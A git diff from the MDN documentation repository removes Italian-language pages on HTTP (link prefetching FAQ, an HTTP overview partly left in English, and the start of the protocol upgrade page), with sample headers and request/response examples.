-<ul> - <li><a href="/En/Controlling_DNS_prefetching" title="En/Controlling DNS prefetching">Controlling DNS prefetching</a></li> - <li>The <a href="/en/HTTP_Pipelining_FAQ" title="https://developer.mozilla.org/en/HTTP_Pipelining_FAQ">HTTP pipelining FAQ</a></li> - <li><a href="/en/Web_Development/HTTP_cookies" title="HTTP cookies">HTTP cookies</a></li> - <li><a href="/en-US/docs/HTTP/Headers" title="/en-US/docs/HTTP/Headers">HTTP Headers</a></li> - <li><a href="/en-US/docs/HTTP/Basic_access_authentication" title="/en-US/docs/HTTP/Basic_access_authentication">Basic access authentication</a></li> - <li><a href="/en-US/docs/HTTP/Access_control_CORS" title="/en-US/docs/HTTP/Access_control_CORS">HTTP access control (CORS)</a></li> -</ul> - -<p>{{ languages( { "ja": "ja/HTTP"} ) }}</p> diff --git a/files/it/web/http/link_prefetching_faq/index.html b/files/it/web/http/link_prefetching_faq/index.html deleted file mode 100644 index 82faf960e9..0000000000 --- a/files/it/web/http/link_prefetching_faq/index.html +++ /dev/null @@ -1,127 +0,0 @@ ---- -title: Link prefetching FAQ -slug: Web/HTTP/Link_prefetching_FAQ -tags: - - Gecko - - HTML - - HTTP - - Sviluppo_Web - - Tutte_le_categorie -translation_of: Web/HTTP/Link_prefetching_FAQ -original_slug: Link_prefetching_FAQ ---- -<h3 id="Cos.27.C3.A8_il_link_prefetching.3F" name="Cos.27.C3.A8_il_link_prefetching.3F">Cos'è il link prefetching?</h3> - -<p>Il link prefetching è un meccanismo del browser, che utilizza il tempo di inattività per il download o effettuare il<em>prefetch</em> dei documenti che l'utente potrebbe visitare in un futuro prossimo. Una pagina web fornisce dei consigli per il prefetching al browser, il quale dopo averla caricata, comincia in silenzio il prefetchinf dei documenti specificati e li memorizza nella sua cache. Quando l'utente visita uno dei documenti precaricati, quest'ultimo viene servito velocemente a partire dalla cache del browser.</p> - -<h3 id="Cosa_sono_i_prefetching_consigliati_.28prefetching_hints.29.3F" name="Cosa_sono_i_prefetching_consigliati_.28prefetching_hints.29.3F">Cosa sono i prefetching consigliati (prefetching hints)?</h3> - -<p>Il browser cerca o un tag HTML <code>link</code> o una intestazione HTTP <code>Link:</code> con una relazione tipo <code>next</code> o <code>prefetch</code>. Ecco un esempio usando il tag <code>link</code>:</p> - -<pre class="eval"><link rel="prefetch" href="/images/big.jpeg"> -</pre> - -<p>Lo stesso suggerimento di prefetch usando una intestazione <code>Link:</code>:</p> - -<pre class="eval">Link: </images/big.jpeg>; rel=prefetch -</pre> - -<p>L'intestazione Link: può anche essere specificata all'interno del documento HTML usando un tag <code>meta</code>:</p> - -<pre class="eval"><meta http-equiv="Link" content="&lt;/images/big.jpeg&gt;; rel=prefetch"> -</pre> - -<p>Il formato dell'intestazione <code>Link:</code> viene descritta nella <a class="external" href="http://tools.ietf.org/html/rfc2068" title="http://tools.ietf.org/html/rfc2068">RFC 2068</a>, sezione 19.6.2.4.</p> - -<div class="note">Nota: internamente facciamo riferimento ad una vecchia specifica di HTTP/1.1 dato che la nuova <a class="external" href="http://tools.ietf.org/html/rfc2616" title="http://tools.ietf.org/html/rfc2616">RFC 2616</a> non descrive l'intestazione <code>Link:</code>. Nonostante le intestazioni <code>Link:</code> non siano parte dello standard revisionato, vengono pratiacmente ancora usate dai server per specificare fogli di stile CSS, per questi ne facciamo qui uso.</div> - -<p>Il browser osserva tutti questi suggerimenti ed mette in attesa ogni richiesta per poi effettuare il prefetching nel periodo di inattività del browser. Possono esserci molteplici suggerumenti per ogni pagina, per cui avrebbe senso precaricare molteplici documenti. Ad esempio, il prossimo documento potrebbe contenere diverse immagini di grandi dimensioni.</p> - -<p>Seguono alcuni esempi:</p> - -<pre class="eval"><link rel="prefetch alternate stylesheet" title="Designed for Mozilla" href="mozspecific.css"> -<link rel="next" href="2.html"> -</pre> - -<h3 id="Viene_eseguito_il_prefetch_sui_tag_ancora_.28.3Ca.3E.29.3F" name="Viene_eseguito_il_prefetch_sui_tag_ancora_.28.3Ca.3E.29.3F">Viene eseguito il prefetch sui tag ancora (<a>)?</h3> - -<p>No, solo i tag <code><link></code> con un tipo relazione <code>next</code> o <code>prefetch</code> vengono precaricati. Comunque, in caso di interesse sufficiente, potremmo pensare di estendere il supporto prefetching ai tag <a> che includono un tipo relazione <code>next</code> o <code>prefetch</code>. Fare questo potrebbe aiutare i fornitori di contenuti ad evitare il problema di aggiornare i link precaricati.</p> - -<h3 id="Il_prefetching_.C3.A8_attinente_agli_standard.3F" name="Il_prefetching_.C3.A8_attinente_agli_standard.3F">Il prefetching è attinente agli standard?</h3> - -<p>Si, il prefetching di link, come descritto in questo documento, non viola nessuno standard web. Infatti, le specifiche HTML 4.01 permettono esplicitamente la definizione di nuovi tipi relazione link (<a class="external" href="http://www.w3.org/TR/html4/types.html#type-links">vedere la Sezione 6.12: Link types</a>). Comunque, l'esatto meccanismo usato da Mozilla non è ancora parte dello standard. Un draft è in preparazione.</p> - -<h3 id="Come_viene_determinato_il_periodo_di_inattivit.C3.A0_.28idle.29_del_browser.3F" name="Come_viene_determinato_il_periodo_di_inattivit.C3.A0_.28idle.29_del_browser.3F">Come viene determinato il periodo di inattività (idle) del browser?</h3> - -<p>Nell'implementazione corrente (Mozilla 1.2), il tempo di inattività si determina usando l'API <code>nsIWebProgressListener</code>. Si collega un listener all'oggetto <code>nsIWebProgress</code> ("@mozilla.org/docloaderservice;1"). Da questo, si ricevono notifiche di start e stop, e si approssima il tempo di inattività come il periodo tra l'ultimo documento dal caricamento terminato ed il primo documento dal caricamento iniziato. La notifica dello stop dell'ultimo documento avviene approssimativamente quando il gestore onLoad inizia la sua attività per il documento. Questo accade quando si dà il via a richieste di prefetch. Se un frame figlio contiene suggerimenti di prefetching, il prefetch non inizierà fino a che non siano caricati il documento padre e tutti i figli.</p> - -<h3 id="Cosa_accade_se_viene_cliccato_un_link_mentre_viene_eseguito_il_prefetching_di_qualcosa.3F" name="Cosa_accade_se_viene_cliccato_un_link_mentre_viene_eseguito_il_prefetching_di_qualcosa.3F">Cosa accade se viene cliccato un link mentre viene eseguito il prefetching di qualcosa?</h3> - -<p>QUando l'utente clicca un link, o inizia un qualche tipo di caricamento di pagina, il prefetch di link si interrompe ed ogni suggerimento di prefetch viene ignorato. Se un documento precaricato è stato parzialmente scaricato, viene comunque memorizzato nella cache se il server invia una intestazione "Accept-Ranges: bytes". Questa intestazione viene tipicamente generata dal webserver nel fornire un documento statico. QUando l'utente visita realmente un documento precaricato, la rimanente porzione del documento viene caricata usando una richiesta HTTP byte-range.</p> - -<h3 id="Cosa_succede_se_si_sta_scaricando_qualcosa_in_background.3F_Il_prefetching_del_link_compete_per_la_larghezza_di_banda.3F" name="Cosa_succede_se_si_sta_scaricando_qualcosa_in_background.3F_Il_prefetching_del_link_compete_per_la_larghezza_di_banda.3F">Cosa succede se si sta scaricando qualcosa in background? Il prefetching del link compete per la larghezza di banda?</h3> - -<p>Si e no. Se si sta scaricando qualcosa usando Mozilla, il link prefetching verrà posticipato fino a che i download in background non saranno completati. Ad esempio, se si carica un gruppo di segnalibri (il che significa aprire diverse tab), ogni richiesta di prefetch iniziata da una delle pagine di segnalibro non inizierà fino a quando tutte le tab non avranno terminato il caricamento. Se si usa un'altra applicazione di rete, il link prefetching potrebbe competere per la banda con l'altra applicazione. Questo è un problema che speriamo di risolvere in futuro usando i servizi del sistema operativo per controllare il tempo di inattività della connesione.</p> - -<h3 id="Ci_sono_restrizioni_su_cosa_viene_eseguito_il_prefetching.3F" name="Ci_sono_restrizioni_su_cosa_viene_eseguito_il_prefetching.3F">Ci sono restrizioni su cosa viene eseguito il prefetching?</h3> - -<p>Si, solo gli URL <a class="external" href="http://" rel="freelink">http://</a> possono essere precaricati (URL <a class="link-https" href="https://" rel="freelink">https://</a> non sono mai precaricato per ragioni di sicurezza). Altri protocolli (come FTP) non forniscono un supporto abbastanza ricco per il caching da lato client. In aggiunta a questa restrizione, gli URL con<em>query strings</em> (stringhe di interrogazione) non sono precaricate. Questo perché alcuni URL inviano a documenti che non possono essere riutilizzati fuori dalla cache del browser, per cui il prefetching non darebbe grandi risultati. Abbiamo visto come siti esistenti utilizzino il tag <link rel="next"> con degli URL contenenti query string per fare riferimento al prossimo documento di una serie. Bugzilla ne è un esempio, e questo fa si che i sui report non siano memorizzabili in cache, per cui il prefetch degli URL raddoppierebbe il carico del server del pover Bugzilla! Si possono failmente pensare che altri siti siano stati progettati come Bugzilla, per cui noi esplicitamente non facciamo eseguire il prefetch degli URL con query string. (Avrebbe sensio permettere il prefecth di questi documenti quando è specificato il tipo relazione <code>rel=prefetch</code>, dato che non dovrebbe apparire in nessun contenuto esistente.) Non ci sono altre restrizioni sugli URL precaricati.</p> - -<h3 id="Mozilla_effettua_il_prefetch_di_documenti_da_host_differenti.3F" name="Mozilla_effettua_il_prefetch_di_documenti_da_host_differenti.3F">Mozilla effettua il prefetch di documenti da host differenti?</h3> - -<p>Si. Non ci sono restrizioni sull'origine dei documenti per il link prefetching. Litare il prefetching solo agli URL dello stesso server non offrirebbe nessun aumento della sicurezza del browser.</p> - -<h3 id="Le_richieste_da_prefetching_contengono_una_intestazione_Refer:_.3F" name="Le_richieste_da_prefetching_contengono_una_intestazione_Refer:_.3F">Le richieste da prefetching contengono una intestazione Refer: ?</h3> - -<p>Sì, le richieste da prefetch includono una intestazione HTTP <code>Referer:</code> indicante il documento dal quale il suggerimento di prefetch è stato estratto.</p> - -<p>Questo potrebbe avere impatto sul tracciamento dei refer solitamente usato in molti siti. Per questo, il link prefetching potrebbe non essere appropriato per tutti i contenuti. Comunque, è possibile istruire Mozilla per validare un documento precaricato quando l'utente segue un href verso il documento precaricato, specificando l'intestazione HTTP <code>Cache-control: must-revalidate</code>. Questa intestazione abilita la memorizzazione in cache, ma ha necessita di una richiesta di validazione <code>If-Modified-Since</code> o <code>If-None-Match</code> prima di servire il documento dalla cache stessa.</p> - -<h3 id="Come_amministratore_di_server.2C_posso_distinguere_tra_richieste_di_prefetch_e_richieste_normali.3F" name="Come_amministratore_di_server.2C_posso_distinguere_tra_richieste_di_prefetch_e_richieste_normali.3F">Come amministratore di server, posso distinguere tra richieste di prefetch e richieste normali?</h3> - -<p>Si, mandiamo la seguente intestazione insieme con la richiesta di prefetch:</p> - -<pre>X-moz: prefetch</pre> - -<p>Ovviamente, questa intestazione di richiesta non è del tutto standard, e potrebbe cambiare in future release di Mozilla.</p> - -<h3 id="C.27.C3.A8_una_opzione_per_disabilitare_il_prefetching_di_link.3F" name="C.27.C3.A8_una_opzione_per_disabilitare_il_prefetching_di_link.3F">C'è una opzione per disabilitare il prefetching di link?</h3> - -<p>Si, c'è una preferenza nascosta da impostare per disabilatare il link prefetching. Aggiungere questa linea a prefs.js nella directory del proprio profilo di Mozilla.</p> - -<pre>user_pref("network.prefetch-next",false);</pre> - -<p>Stiamo considerando di aggiungere una Interfaccia Utente per questa preferenza (<s>vedere {{ Bug(166648) }}</s>); in ogni caso, la nostra teoria è che se il link prefetching deve essere disabilitato allora qualcosa è sagliato nella sua implementazione. Cerchiamo di migliorare l'implementazione se questa si rivelasse errata, piuttosto che attenderci che gli utenti vadano a cercare qualche oscura voce di preferenza nell'interfaccia uente. Diamine, l'interfaccia utente di Mozilla per le opzioni è già abbastanza piena ;-)</p> - -<div class="note">Aggiornamento: causa la moltitudine di richieste, Mozilla 1.3+ include una opzione di preferenza nell'interfaccia utente per disabilitare il prefetching. Vedere Preferences->Advanced-> -<pre>user_pref("network.prefetch-next",false);</pre> -</div> - -<h3 id="Riguardo_alle_persone_che_pagano_per_avere_banda.3F" name="Riguardo_alle_persone_che_pagano_per_avere_banda.3F">Riguardo alle persone che pagano per avere banda?</h3> - -<p><span class="comment">Basically, there are two ways of looking at this issue: # websites can already cause things to be silently downloaded using JS/DOM hacks. # prefetching is a browser feature; users should be able to disable it easily. It is important that websites adopt <code><link></code> tag based prefetching instead of trying to roll-in silent downloading using various JS/DOM hacks. The <code><link></code> tag gives the browser the ability to know what sites are up to, and we can use this information to better prioritize document prefetching. The user preference to disable <code><link></code> tag prefetching may simply encourage websites to stick with JS/DOM hacks, and that would not be good for users. This is one reason why prefetching is enabled by default.</span></p> - -<h3 id="Quali_browser_supportano_il_link_prefetching.3F" name="Quali_browser_supportano_il_link_prefetching.3F">Quali browser supportano il link prefetching?</h3> - -<p>I browser basati su Mozilla 1.2 (o successivi) così come browser basati su Mozilla 1.0.2 (o successivi) supportano il prefetching. Questo include Firefox e Netscape 7.01+. Le build di Camino da Marzo 2003 sono basate su Mozilla 1.0.1, pre cui non supportano il prefetching.</p> - -<p><a class="external" href="http://gemal.dk/browserspy/prefetch.php">Effettua un test</a> con il tuo browser per vedere se supporta il Link Prefetching.</p> - -<h3 id="Cos.27altro_riguardo....3F" name="Cos.27altro_riguardo....3F">Cos'altro riguardo...?</h3> - -<p>Per qualasiasi altra domanda o commento riguardo al link prefetching, mandatele pure a me :-)</p> - -<h4 id="Vedere_inoltre..." name="Vedere_inoltre...">Vedere inoltre...</h4> - -<p><a class="external" href="http://www.edochan.com/programming/pf.htm">Prefetching Hints</a></p> - -<div class="originaldocinfo"> -<h2 id="Original_Document_Information" name="Original_Document_Information">Original Document Information</h2> - -<ul> - <li>Author(s): Darin Fisher (darin at meer dot net)</li> - <li>Last Updated Date: Updated: March 3, 2003</li> -</ul> -</div> - -<p>{{ languages( { "en": "en/Link_prefetching_FAQ" } ) }}</p> diff --git a/files/it/web/http/overview/index.html b/files/it/web/http/overview/index.html deleted file mode 100644 index 93aa350114..0000000000 --- a/files/it/web/http/overview/index.html +++ /dev/null @@ -1,177 +0,0 @@ ---- -title: Una panoramica su HTTP -slug: Web/HTTP/Overview -tags: - - HTTP - - Protocolli -translation_of: Web/HTTP/Overview -original_slug: Web/HTTP/Panoramica ---- -<div>{{HTTPSidebar}}</div> - -<p class="summary"><span class="seoSummary"><strong>HTTP</strong> è</span> un {{Glossary("protocollo")}} che permette il recupero di risorse, come le pagine HTML. <span class="tlid-translation translation" lang="it"><span title="">È il fondamento di ogni scambio di dati sul Web ed è un protocollo client-server,</span></span><span class="tlid-translation translation" lang="it"><span title="">il che significa che le richieste vengono avviate dal destinatario, solitamente il browser Web. </span></span><span class="tlid-translation translation" lang="it"><span title="">Un documento completo viene ricostruito dai diversi sotto-documenti recuperati, ad esempio testo, descrizione del layout, immagini, video, script e altro.</span></span></p> - -<p><img alt="A Web document is the composition of different resources" src="https://mdn.mozillademos.org/files/13677/Fetching_a_page.png" style="height: 319px; width: 545px;"></p> - -<p><span class="tlid-translation translation" lang="it"><span title="">Client e server comunicano scambiando messaggi individuali (al contrario di un flusso di dati).</span> <span title="">I messaggi inviati dal client, solitamente un browser Web, sono chiamati <em>richieste (requests)</em> e i messaggi inviati dal server come risposta sono chiamati <em>risposte</em> (<em>responses</em>).</span></span></p> - -<p><img alt="HTTP as an application layer protocol, on top of TCP (transport layer) and IP (network layer) and below the presentation layer." src="https://mdn.mozillademos.org/files/13673/HTTP%20&%20layers.png" style="float: left; height: 299px; padding-bottom: 15px; padding-right: 20px; width: 418px;"><span class="tlid-translation translation" lang="it"><span title="">Progettato all'inizio degli anni '90 (1990), HTTP è un protocollo estensibile che si è evoluto nel tempo</span></span>. <span class="tlid-translation translation" lang="it"><span title="">È un protocollo a livello di applicazione che viene inviato mediante </span></span>{{Glossary("TCP")}}, o mediante una connessione TCP cifrata {{Glossary("TLS")}}, <span class="tlid-translation translation" lang="it"><span title="">anche se teoricamente potrebbe essere utilizzato qualsiasi protocollo di trasporto affidabile.</span></span> <span class="tlid-translation translation" lang="it"><span title="">Grazie alla sua estensibilità, viene utilizzato non solo per recuperare documenti ipertestuali, ma anche immagini e video o per pubblicare contenuti su server, come con i risultati dei moduli HTML.</span> <span title="">HTTP può essere utilizzato anche per recuperare parti di documenti per aggiornare pagine Web su richiesta.</span></span></p> - -<h2 id="Componenti_di_sistemi_basati_su_HTTP"><span class="tlid-translation translation" lang="it"><span title="">Componenti di sistemi basati su HTTP</span></span></h2> - -<p><span class="tlid-translation translation" lang="it"><span title="">HTTP è un protocollo client-server: le richieste vengono inviate da un'entità, lo user-agent (o un proxy per conto di esso).</span> <span title="">Il più delle volte lo user-agent è un browser Web, ma può essere qualsiasi cosa, ad esempio un robot che esegue la scansione del Web per popolare e mantenere un indice del motore di ricerca.</span></span></p> - -<p><span class="tlid-translation translation" lang="it"><span title="">Ogni singola richiesta viene inviata a un server, che la gestisce e fornisce una risposta, chiamata response.</span> <span title="">Tra il client e il server ci sono numerose entità, chiamate collettivamente </span></span>{{Glossary("Proxy_server", "proxies")}}, <span class="tlid-translation translation" lang="it"><span title="">che eseguono operazioni diverse e fungono da gateway o</span></span> {{Glossary("Cache", "caches")}}, per esempio.</p> - -<p><img alt="Client server chain" src="https://mdn.mozillademos.org/files/13679/Client-server-chain.png"></p> - -<p><span class="tlid-translation translation" lang="it"><span title="">In realtà, ci sono più computer tra un browser e il server che gestisce la richiesta: ci sono router, modem e altro.</span> <span title="">Grazie alla struttura a strati del Web, questi sono nascosti nella rete e nei livelli di trasporto.</span> <span title="">L'HTTP è in cima, a livello applicazione.</span> <span title="">Sebbene importanti per diagnosticare i problemi di rete, i livelli sottostanti sono per lo più irrilevanti per la descrizione di HTTP.</span></span></p> - -<h3 id="Client_lo_user-agent">Client: lo user-agent</h3> - -<p><span class="tlid-translation translation" lang="it"><span title="">Lo user-agent è qualsiasi strumento che agisce per conto dell'utente.</span> <span title="">Questo ruolo viene svolto principalmente dal browser Web;</span> <span title="">altre possibilità sono i programmi utilizzati da ingegneri e sviluppatori Web per eseguire il debug delle loro applicazioni.</span></span></p> - -<p><span class="tlid-translation translation" lang="it"><span title="">Il browser è <strong>sempre</strong> l'entità che avvia la richiesta.</span> <span title="">Non è mai il server (sebbene nel corso degli anni siano stati aggiunti alcuni meccanismi per simulare i messaggi avviati dal server).</span></span></p> - -<p><span class="tlid-translation translation" lang="it"><span title="">Per presentare una pagina Web, il browser invia una richiesta iniziale per recuperare il documento HTML che rappresenta la pagina.</span> <span title="">Quindi analizza questo file, effettuando richieste aggiuntive corrispondenti a script di esecuzione, informazioni sul layout (CSS) da visualizzare e sotto-risorse contenute all'interno della pagina (solitamente immagini e video).</span></span> <span class="tlid-translation translation" lang="it"><span title="">Il browser Web quindi compone queste risorse per presentare all'utente un documento completo, la pagina Web.</span> <span title="">Gli script eseguiti dal browser possono recuperare più risorse nelle fasi successive e il browser aggiorna la pagina Web di conseguenza.</span></span></p> - -<p><span class="tlid-translation translation" lang="it"><span title="">Una pagina Web è un documento ipertestuale.</span> <span title="">Ciò significa che alcune parti del testo visualizzato sono collegamenti che possono essere attivati (di solito con un clic del mouse) per recuperare una nuova pagina Web, consentendo all'utente di dirigere il proprio user-agent e navigare nel Web.</span> <span title="">Il browser traduce queste indicazioni in richieste HTTP e interpreta ulteriormente le risposte HTTP per presentare all'utente una risposta chiara.</span></span></p> - -<h3 id="Il_Web_server">Il Web server</h3> - -<p><span class="tlid-translation translation" lang="it"><span title="">Sul lato opposto del canale di comunicazione, è il server, che <em>serve (restituisce)</em> il documento come richiesto dal client.</span> <span title="">Un server appare virtualmente come un'unica macchina: questo perché potrebbe essere un insieme di server, i quali condividono il carico (bilanciamento del carico) o un complesso software che interroga altri computer (come una cache, un DB server o un e-commerce</span> <span title="">server), generando totalmente o parzialmente il documento su richiesta.</span></span></p> - -<p><span class="tlid-translation translation" lang="it"><span title="">Un server non è necessariamente una singola macchina, ma più istanze di software server possono essere ospitate sulla stessa macchina.</span> <span title="">Con HTTP / 1.1 e l'intestazione {{HTTPHeader ("Host")}}, possono persino condividere lo stesso indirizzo IP. HERE!!!</span></span></p> - -<h3 id="Proxies">Proxies</h3> - -<p>Between the Web browser and the server, numerous computers and machines relay the HTTP messages. Due to the layered structure of the Web stack, most of these operate at the transport, network or physical levels, becoming transparent at the HTTP layer and potentially making a significant impact on performance. Those operating at the application layers are generally called <strong>proxies</strong>. These can be transparent, forwarding on the requests they receive without altering them in any way, or non-transparent, in which case they will change the request in some way before passing it along to the server. Proxies may perform numerous functions:</p> - -<ul> - <li>caching (the cache can be public or private, like the browser cache)</li> - <li>filtering (like an antivirus scan or parental controls)</li> - <li>load balancing (to allow multiple servers to serve the different requests)</li> - <li>authentication (to control access to different resources)</li> - <li>logging (allowing the storage of historical information)</li> -</ul> - -<h2 id="Basic_aspects_of_HTTP">Basic aspects of HTTP</h2> - -<h3 id="HTTP_is_simple">HTTP is simple</h3> - -<p>HTTP is generally designed to be simple and human readable, even with the added complexity introduced in HTTP/2 by encapsulating HTTP messages into frames. HTTP messages can be read and understood by humans, providing easier testing for developers, and reduced complexity for newcomers.</p> - -<h3 id="HTTP_is_extensible">HTTP is extensible</h3> - -<p>Introduced in HTTP/1.0, <a href="/en-US/docs/Web/HTTP/Headers">HTTP headers</a> make this protocol easy to extend and experiment with. New functionality can even be introduced by a simple agreement between a client and a server about a new header's semantics.</p> - -<h3 id="HTTP_is_stateless_but_not_sessionless">HTTP is stateless, but not sessionless</h3> - -<p>HTTP is stateless: there is no link between two requests being successively carried out on the same connection. This immediately has the prospect of being problematic for users attempting to interact with certain pages coherently, for example, using e-commerce shopping baskets. But while the core of HTTP itself is stateless, HTTP cookies allow the use of stateful sessions. Using header extensibility, HTTP Cookies are added to the workflow, allowing session creation on each HTTP request to share the same context, or the same state.</p> - -<h3 id="HTTP_and_connections">HTTP and connections</h3> - -<p>A connection is controlled at the transport layer, and therefore fundamentally out of scope for HTTP. Though HTTP doesn't require the underlying transport protocol to be connection-based; only requiring it to be <em>reliable</em>, or not lose messages (so at minimum presenting an error). Among the two most common transport protocols on the Internet, TCP is reliable and UDP isn't. HTTP therefore relies on the TCP standard, which is connection-based.</p> - -<p>Before a client and server can exchange an HTTP request/response pair, they must establish a TCP connection, a process which requires several round-trips. The default behavior of HTTP/1.0 is to open a separate TCP connection for each HTTP request/response pair. This is less efficient than sharing a single TCP connection when multiple requests are sent in close succession.</p> - -<p>In order to mitigate this flaw, HTTP/1.1 introduced <em>pipelining</em> (which proved difficult to implement) and <em>persistent connections</em>: the underlying TCP connection can be partially controlled using the {{HTTPHeader("Connection")}} header. HTTP/2 went a step further by multiplexing messages over a single connection, helping keep the connection warm and more efficient.</p> - -<p>Experiments are in progress to design a better transport protocol more suited to HTTP. For example, Google is experimenting with <a href="https://en.wikipedia.org/wiki/QUIC">QUIC</a> which builds on UDP to provide a more reliable and efficient transport protocol.</p> - -<h2 id="What_can_be_controlled_by_HTTP">What can be controlled by HTTP</h2> - -<p>This extensible nature of HTTP has, over time, allowed for more control and functionality of the Web. Cache or authentication methods were functions handled early in HTTP history. The ability to relax the <em>origin constraint</em>, by contrast, has only been added in the 2010s.</p> - -<p>Here is a list of common features controllable with HTTP.</p> - -<ul> - <li><em><a href="/en-US/docs/Web/HTTP/Caching">Caching</a></em><br> - How documents are cached can be controlled by HTTP. The server can instruct proxies and clients, about what to cache and for how long. The client can instruct intermediate cache proxies to ignore the stored document.</li> - <li><em>Relaxing the origin constraint</em><br> - To prevent snooping and other privacy invasions, Web browsers enforce strict separation between Web sites. Only pages from the <strong>same origin</strong> can access all the information of a Web page. Though such constraint is a burden to the server, HTTP headers can relax this strict separation on the server side, allowing a document to become a patchwork of information sourced from different domains; there could even be security-related reasons to do so.</li> - <li><em>Authentication</em><br> - Some pages may be protected so that only specific users can access them. Basic authentication may be provided by HTTP, either using the {{HTTPHeader("WWW-Authenticate")}} and similar headers, or by setting a specific session using <a href="/en-US/docs/Web/HTTP/Cookies">HTTP cookies</a>.</li> - <li><em><a href="/en-US/docs/Web/HTTP/Proxy_servers_and_tunneling">Proxy and tunneling</a></em><br> - Servers or clients are often located on intranets and hide their true IP address from other computers. HTTP requests then go through proxies to cross this network barrier. Not all proxies are HTTP proxies. The SOCKS protocol, for example, operates at a lower level. Other protocols, like ftp, can be handled by these proxies.</li> - <li><em>Sessions</em><br> - Using HTTP cookies allows you to link requests with the state of the server. This creates sessions, despite basic HTTP being a state-less protocol. This is useful not only for e-commerce shopping baskets, but also for any site allowing user configuration of the output.</li> -</ul> - -<h2 id="HTTP_flow">HTTP flow</h2> - -<p>When a client wants to communicate with a server, either the final server or an intermediate proxy, it performs the following steps:</p> - -<ol> - <li>Open a TCP connection: The TCP connection is used to send a request, or several, and receive an answer. The client may open a new connection, reuse an existing connection, or open several TCP connections to the servers.</li> - <li>Send an HTTP message: HTTP messages (before HTTP/2) are human-readable. With HTTP/2, these simple messages are encapsulated in frames, making them impossible to read directly, but the principle remains the same. For example: - <pre class="line-numbers language-html notranslate"><code class="language-html">GET / HTTP/1.1 -Host: developer.mozilla.org -Accept-Language: fr</code></pre> - </li> - <li>Read the response sent by the server, such as: - <pre class="line-numbers language-html notranslate"><code class="language-html">HTTP/1.1 200 OK -Date: Sat, 09 Oct 2010 14:28:02 GMT -Server: Apache -Last-Modified: Tue, 01 Dec 2009 20:18:22 GMT -ETag: "51142bc1-7449-479b075b2891b" -Accept-Ranges: bytes -Content-Length: 29769 -Content-Type: text/html - -<!DOCTYPE html... (here comes the 29769 bytes of the requested web page)</code></pre> - </li> - <li>Close or reuse the connection for further requests.</li> -</ol> - -<p>If HTTP pipelining is activated, several requests can be sent without waiting for the first response to be fully received. HTTP pipelining has proven difficult to implement in existing networks, where old pieces of software coexist with modern versions. HTTP pipelining has been superseded in HTTP/2 with more robust multiplexing requests within a frame.</p> - -<h2 id="HTTP_Messages">HTTP Messages</h2> - -<p>HTTP messages, as defined in HTTP/1.1 and earlier, are human-readable. In HTTP/2, these messages are embedded into a binary structure, a <em>frame</em>, allowing optimizations like compression of headers and multiplexing. Even if only part of the original HTTP message is sent in this version of HTTP, the semantics of each message is unchanged and the client reconstitutes (virtually) the original HTTP/1.1 request. It is therefore useful to comprehend HTTP/2 messages in the HTTP/1.1 format.</p> - -<p>There are two types of HTTP messages, requests and responses, each with its own format.</p> - -<h3 id="Requests">Requests</h3> - -<p>An example HTTP request:</p> - -<p><img alt="A basic HTTP request" src="https://mdn.mozillademos.org/files/13687/HTTP_Request.png" style="height: 336px; width: 693px;"></p> - -<p>Requests consists of the following elements:</p> - -<ul> - <li>An HTTP <a href="/en-US/docs/Web/HTTP/Methods">method</a>, usually a verb like {{HTTPMethod("GET")}}, {{HTTPMethod("POST")}} or a noun like {{HTTPMethod("OPTIONS")}} or {{HTTPMethod("HEAD")}} that defines the operation the client wants to perform. Typically, a client wants to fetch a resource (using <code>GET</code>) or post the value of an <a href="/en-US/docs/Web/Guide/HTML/Forms">HTML form</a> (using <code>POST</code>), though more operations may be needed in other cases.</li> - <li>The path of the resource to fetch; the URL of the resource stripped from elements that are obvious from the context, for example without the {{Glossary("protocol")}} (<code>http://</code>), the {{Glossary("domain")}} (here, <code>developer.mozilla.org</code>), or the TCP {{Glossary("port")}} (here, <code>80</code>).</li> - <li>The version of the HTTP protocol.</li> - <li>Optional <a href="/en-US/docs/Web/HTTP/Headers">headers</a> that convey additional information for the servers.</li> - <li>Or a body, for some methods like <code>POST</code>, similar to those in responses, which contain the resource sent.</li> -</ul> - -<h3 id="Responses">Responses</h3> - -<p>An example response:</p> - -<p><img alt="" src="https://mdn.mozillademos.org/files/13691/HTTP_Response.png" style="height: 494px; width: 758px;"></p> - -<p>Responses consist of the following elements:</p> - -<ul> - <li>The version of the HTTP protocol they follow.</li> - <li>A <a href="/en-US/docs/Web/HTTP/Status">status code</a>, indicating if the request was successful, or not, and why.</li> - <li>A status message, a non-authoritative short description of the status code.</li> - <li>HTTP <a href="/en-US/docs/Web/HTTP/Headers">headers</a>, like those for requests.</li> - <li>Optionally, a body containing the fetched resource.</li> -</ul> - -<h2 id="APIs_based_on_HTTP">APIs based on HTTP</h2> - -<p>The most commonly used API based on HTTP is the {{domxref("XMLHttpRequest")}} API, which can be used to exchange data between a {{Glossary("user agent")}} and a server. The modern {{domxref("Fetch API")}} provides the same features with a more powerful and flexible feature set.</p> - -<p>Another API, <a href="/en-US/docs/Web/API/Server-sent_events">server-sent events</a>, is a one-way service that allows a server to send events to the client, using HTTP as a transport mechanism. Using the {{domxref("EventSource")}} interface, the client opens a connection and establishes event handlers. The client browser automatically converts the messages that arrive on the HTTP stream into appropriate {{domxref("Event")}} objects, delivering them to the event handlers that have been registered for the events' {{domxref("Event.type", "type")}} if known, or to the {{domxref("EventSource.onmessage", "onmessage")}} event handler if no type-specific event handler was established.</p> - -<h2 id="Conclusion">Conclusion</h2> - -<p>HTTP è un protocollo estensibile che è facile da usare. The client-server structure, combined with the ability to simply add headers, allows HTTP to advance along with the extended capabilities of the Web.</p> - -<p>Though HTTP/2 adds some complexity, by embedding HTTP messages in frames to improve performance, the basic structure of messages has stayed the same since HTTP/1.0. Session flow remains simple, allowing it to be investigated, and debugged with a simple <a href="/en-US/docs/Tools/Network_Monitor">HTTP message monitor</a>.</p> diff --git a/files/it/web/http/protocol_upgrade_mechanism/index.html b/files/it/web/http/protocol_upgrade_mechanism/index.html deleted file mode 100644 index 0ab63fed8e..0000000000 --- a/files/it/web/http/protocol_upgrade_mechanism/index.html +++ /dev/null @@ -1,148 +0,0 @@ ---- -title: Protocol upgrade mechanism -slug: Web/HTTP/Protocol_upgrade_mechanism -translation_of: Web/HTTP/Protocol_upgrade_mechanism ---- -<div>{{HTTPSidebar}}</div> - -<p><span class="seoSummary">Il <a href="/en-US/docs/Web/HTTP">protocollo</a> <a href="/en-US/docs/Web/HTTP">HTTP/1.1 </a> fornisce uno speciale meccanismo che può essere utilizzato per aggiornare a una connessione già stabilita da un protocollo diverso, utilizzando il campo d'intestazione(Header) {{HTTPHeader("Upgrade")}} ..</span></p> - -<p>Questo meccanismo è opzionale; non può essere utilizzato per 